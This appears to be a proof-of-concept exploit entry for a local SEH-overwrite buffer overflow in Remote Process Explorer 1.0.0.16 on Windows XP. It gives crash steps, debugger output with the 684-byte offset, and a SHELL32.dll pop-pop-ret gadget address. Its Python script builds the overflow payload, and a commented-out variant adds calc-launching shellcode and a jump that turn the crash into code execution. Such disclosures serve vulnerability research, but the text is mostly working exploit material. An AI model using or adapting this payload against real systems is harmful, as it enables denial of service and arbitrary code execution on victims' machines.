Remote Process Explorer 1.0.0.16 - Denial of Service SEH Overwrite (PoC)

2019-02-01 22:05:36

# Exploit Title: Remote Process Explorer v1.0.0.16 - Denial of Service (PoC) and SEH overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16
# Software Link : http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16
# Tested Version: 1.0.0.16
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run rpexplorer.exe
# 2.- copy content rpexplorer_Crash.txt to clipboard (result from this python script)
# 3.- Go to "Add computer" and paste the result in the first textbox and click in Add button.
# 4.- Select "AAAAAAAAA...." computer, right mouse button and Connect and you will see a crash.

'''

Detect:

SEH chain of thread 00000144
Address SE handler
0114FEC8 78413977
41387741 *** CORRUPT ENTRY ***

EAX 0114FEBC
ECX 0114FEC0 ASCII
"w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B
EDX 41347741
EBX 0116236C
ESP 0114FBF0
EBP 0114FEC0 ASCII
"w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B
ESI 000000D4
EDI 00000000
EIP 00404F48 rpexplor.00404F48
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDC000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 1272 Prec NEAR,53 Mask 1 1 0 0 1 0

Log data, item 24
Address=0BADF00D
Message= SEH record (nseh field) at 0x0114fec8 overwritten with normal
pattern : 0x41387741 (offset 684), followed by 308 bytes of cyclic data
after the handler

Check after script:

SEH chain of thread 00000D04
Address SE handler
0114FEC8 43434343
42424242 *** CORRUPT ENTRY ***


Log data, item 53
Address=7E6E5E50
Message= 0x7e6e5e50 : pop ebx # pop ebp # ret 0x04 | asciiprint,ascii
{PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH:
True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)


'''

#!/usr/bin/env python

'''
calc = ("\x31\xC9" # xor ecx,ecx
"\x51" # push ecx
"\x68\x63\x61\x6C\x63" # push 0x636c6163
"\x54" # push dword ptr esp
"\xB8\xC7\x93\xC2\x77" # mov eax,0x77c293c7
"\xFF\xD0") # call eax
'''

crash = "\x41" * 684 + "BBBB" + "CCCC"
#crash = "\x41" * 684 + "\xEB\x14\x90\x90" + "\x50\x5e\x6e\x7e" + "\x90" * 24 + calc + "A"*(1000 - 32)
f = open ("rpexplorer_Crash.txt", "w")
f.write(crash)
f.close()

Fixes

No fixes

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